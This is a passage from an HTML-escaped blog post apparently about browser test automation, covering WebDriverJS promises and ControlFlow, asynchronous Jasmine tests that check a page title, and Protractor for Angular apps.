JavaScript. To maintain the required sequence between various actions, WebDriverJS uses &lt;a href=&quot;https://code.google.com/p/selenium/source/browse/javascript/webdriver/promise.js&quot;&gt;Promises&lt;/a&gt;. In short, a promise is an object that can execute whatever you give it after it has finished.&lt;/p&gt; &lt;p&gt;But it doesn&apos;t stop here. Even with promises, the above code would have become:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// pseudo code&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;page1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;E1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Do you smell callback hell in there? To make it more neat, WebDriverJS has a wrapper for Promise called as &lt;a href=&quot;https://code.google.com/p/selenium/wiki/WebDriverJs#Control_Flows&quot;&gt;&lt;strong&gt;ControlFlow&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;In simple words, this is how &lt;em&gt;ControlFlow&lt;/em&gt; prevents callback hell:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;It maintains a list of schedule actions.&lt;/li&gt; &lt;li&gt;The exposed functions in WebDriverJS do not actually do their stuff, instead they just push the required action into the above mentioned list.&lt;/li&gt; &lt;li&gt;&lt;em&gt;ControlFlow&lt;/em&gt; puts every new entry in the &lt;code class=&quot;language-text&quot;&gt;then&lt;/code&gt; callback of the last entry of the list, thus ensuring the sequence between them.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;And so, it enables us to simply do:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// pseudo code&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;page1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Implicitly add to previous action&apos;s then()&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;E1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Isn&apos;t that awesome!&lt;/p&gt; &lt;p&gt;&lt;em&gt;Controlflow&lt;/em&gt; also provides an &lt;code class=&quot;language-text&quot;&gt;execute&lt;/code&gt; function to push your custom function inside the execution list and the return value of that function is used to resolve/reject that particular execution. So you can use promises and do any asynchronous thing in your custom code:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; flow &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; webdriver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;promise&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;controlFlow&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; flow&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; d &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; webdriver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;promise&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;defer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;do_anything_async&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; d&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fulfill&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; d&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;promise&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;Quick tip&lt;/strong&gt;: Documentation for JavaScript bindings isn&apos;t that readily available (atleast I couldn&apos;t find it), so the best thing I found to be useful was the actual &lt;a href=&quot;https://code.google.com/p/selenium/source/browse/javascript/webdriver/&quot;&gt;WebDriverJS code&lt;/a&gt;. It heavily commented and is very handy while looking for specific methods on the driver.&lt;/p&gt; &lt;h2 id=&quot;combining-webdriverjs-with-jasmine&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#combining-webdriverjs-with-jasmine&quot; aria-label=&quot;combining webdriverjs with jasmine permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Combining WebDriverJS with Jasmine&lt;/h2&gt; &lt;p&gt;Our browser automation is setup with selenium. Now we need a testing framework to handle our tests. That is where &lt;a href=&quot;http://pivotal.github.io/jasmine/&quot;&gt;Jasmine&lt;/a&gt; comes in.&lt;/p&gt; &lt;p&gt;You can install jasmine for your JavaScript project through npm:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; jasmine-node&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;If we were to convert our earlier &lt;code class=&quot;language-text&quot;&gt;testfile.js&lt;/code&gt; to check for correct page title, here is what it might look like:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; webdriver &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;selenium-webdriver&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; driver &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;webdriver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Builder&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;withCapabilities&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;webdriver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Capabilities&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;chrome&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;describe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;basic test&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;should be on correct page&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;http://www.wingify.com&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getTitle&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toBe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Wingify&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Now the above file needs to be run with &lt;a href=&quot;https://github.com/mhevery/jasmine-node&quot;&gt;jasmine-node&lt;/a&gt;, like so:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;jasmine-node testfile.js&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This will fire the browser and do the mentioned operations, but you&apos;ll notice that Jasmine won&apos;t give any results for the test. Why?&lt;/p&gt; &lt;p&gt;Well...that happens because Jasmine has finished executing and no &lt;code class=&quot;language-text&quot;&gt;expect&lt;/code&gt; statement ever executed because of the expectation being inside an asynchronous callback of &lt;code class=&quot;language-text&quot;&gt;getTitle&lt;/code&gt; function.&lt;/p&gt; &lt;p&gt;To solve such asynchronicity in our tests, jasmine-node provides a way to tell that a particular &lt;code class=&quot;language-text&quot;&gt;it&lt;/code&gt; block is asynchronous. It is done by accepting a done callback in the specification (&lt;code class=&quot;language-text&quot;&gt;it&lt;/code&gt; function) which makes Jasmine wait for the &lt;code class=&quot;language-text&quot;&gt;done()&lt;/code&gt; to be executed. So here is how we fix the above code:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; webdriver &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;selenium-webdriver&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; driver &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;webdriver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Builder&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;withCapabilities&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;webdriver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Capabilities&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;chrome&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;describe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;basic test&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;should be on correct page&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;http://www.wingify.com&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getTitle&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toBe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Wingify&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Jasmine waits for the done callback to be called before proceeding to next specification.&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;Quick tip&lt;/strong&gt;: You might want to tweak the time allowed for tests to complete in Jasmine like so:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;jasmine&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getEnv&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;defaultTimeoutInterval &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// in microseconds.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h2 id=&quot;bonus-for-angular-apps&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#bonus-for-angular-apps&quot; aria-label=&quot;bonus for angular apps permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Bonus for Angular apps&lt;/h2&gt; &lt;p&gt;Angular framework has been very testing focused since the very beginning. Needless to say, they have devoted a lot of time on e2e testing as well.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://github.com/angular/protractor&quot;&gt;Protractor&lt;/a&gt; is a library by the Angular team which is a wrapper on WebDriverJS and Jasmine and is specifically tailored to make testing of Angular apps a breeze.&lt;/p&gt; &lt;p&gt;Checkout some of the neat addons it gives you:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Apart from querying element based on id, css selector, xpath etc, it lets you query on basis of binding, model, repeater etc. Sweet!&lt;/li&gt; &lt;li&gt;It has Jasmine&apos;s &lt;code class=&quot;language-text&quot;&gt;expect&lt;/code&gt; function patched to accept promises. So, for example, in our previous test where we were checking for title:&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getTitle&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toBe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Wingify&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;can be refactored to a much cleaner:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getTitle&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toBe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token 